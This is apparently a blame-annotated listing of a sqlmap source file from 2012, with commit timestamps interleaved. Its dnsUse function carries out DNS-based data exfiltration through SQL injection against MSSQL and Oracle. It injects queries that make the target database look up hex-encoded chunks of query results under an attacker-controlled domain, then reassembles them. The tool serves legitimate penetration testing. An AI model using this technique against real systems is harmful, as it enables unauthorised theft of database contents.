2012-03-27 22:59:12 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
|
|
|
$Id$
|
|
|
|
|
|
|
|
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
|
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
import re
|
|
|
|
import time
|
|
|
|
|
2012-04-03 14:18:03 +04:00
|
|
|
from extra.safe2bin.safe2bin import safecharencode
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.agent import agent
|
|
|
|
from lib.core.common import Backend
|
|
|
|
from lib.core.common import calculateDeltaSeconds
|
2012-04-02 18:57:15 +04:00
|
|
|
from lib.core.common import cleanQuery
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.common import dataToStdout
|
|
|
|
from lib.core.common import decodeHexValue
|
|
|
|
from lib.core.common import extractRegexResult
|
2012-04-03 13:18:30 +04:00
|
|
|
from lib.core.common import getSPQLSnippet
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.common import hashDBRetrieve
|
|
|
|
from lib.core.common import hashDBWrite
|
2012-04-02 18:57:15 +04:00
|
|
|
from lib.core.common import pushValue
|
|
|
|
from lib.core.common import popValue
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.common import randomInt
|
|
|
|
from lib.core.common import randomStr
|
|
|
|
from lib.core.common import safecharencode
|
|
|
|
from lib.core.common import safeStringFormat
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import queries
|
|
|
|
from lib.core.enums import DBMS
|
2012-04-02 18:57:15 +04:00
|
|
|
from lib.core.enums import PAYLOAD
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.settings import MAX_DNS_LABEL
|
|
|
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
|
|
|
def dnsUse(payload, expression):
|
2012-03-27 22:59:12 +04:00
|
|
|
"""
|
|
|
|
Retrieve the output of a SQL query taking advantage of the DNS
|
|
|
|
resolution mechanism by making request back to attacker's machine.
|
|
|
|
"""
|
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
start = time.time()
|
|
|
|
|
|
|
|
retVal = None
|
|
|
|
count = 0
|
|
|
|
offset = 1
|
|
|
|
|
|
|
|
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
|
|
|
|
output = hashDBRetrieve(expression, checkConf=True)
|
2012-04-03 13:18:30 +04:00
|
|
|
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
|
2012-04-02 18:05:30 +04:00
|
|
|
output = None
|
|
|
|
|
|
|
|
if output is None:
|
|
|
|
kb.dnsMode = True
|
|
|
|
|
|
|
|
while True:
|
|
|
|
count += 1
|
|
|
|
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
|
2012-04-02 21:28:18 +04:00
|
|
|
chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2
|
2012-04-02 18:05:30 +04:00
|
|
|
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
|
|
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
|
|
|
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
|
|
|
nulledCastedField = agent.hexConvertField(nulledCastedField)
|
|
|
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
|
|
|
|
2012-04-03 13:18:30 +04:00
|
|
|
expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
|
2012-04-02 18:05:30 +04:00
|
|
|
expressionUnescaped = unescaper.unescape(expressionRequest)
|
|
|
|
|
2012-04-02 18:57:15 +04:00
|
|
|
if Backend.isDbms(DBMS.MSSQL):
|
|
|
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
|
|
|
query = agent.prefixQuery("; %s" % expressionUnescaped)
|
|
|
|
query = agent.suffixQuery("%s;%s" % (query, comment))
|
|
|
|
forgedPayload = agent.payload(newValue=query)
|
|
|
|
else:
|
|
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
|
|
|
|
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
|
2012-04-02 18:05:30 +04:00
|
|
|
|
|
|
|
_ = conf.dnsServer.pop(prefix, suffix)
|
|
|
|
if _:
|
|
|
|
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
|
|
|
|
_ = decodeHexValue(_)
|
|
|
|
output = (output or "") + _
|
|
|
|
offset += len(_)
|
|
|
|
if len(_) < chunk_length:
|
|
|
|
break
|
|
|
|
else:
|
|
|
|
break
|
|
|
|
|
|
|
|
kb.dnsMode = False
|
|
|
|
|
|
|
|
if output is not None:
|
|
|
|
retVal = output
|
2012-04-03 13:18:30 +04:00
|
|
|
if kb.dnsTest is not None:
|
|
|
|
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
|
|
|
|
if count > 0:
|
|
|
|
hashDBWrite(expression, output)
|
2012-04-02 18:05:30 +04:00
|
|
|
|
|
|
|
if not kb.bruteMode:
|
|
|
|
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
elif conf.dnsDomain:
|
|
|
|
warnMsg = "DNS data exfiltration method through SQL injection "
|
|
|
|
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
|
|
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
|
2012-04-03 14:18:03 +04:00
|
|
|
return safecharencode(retVal) if kb.safeCharEncode else retVal
|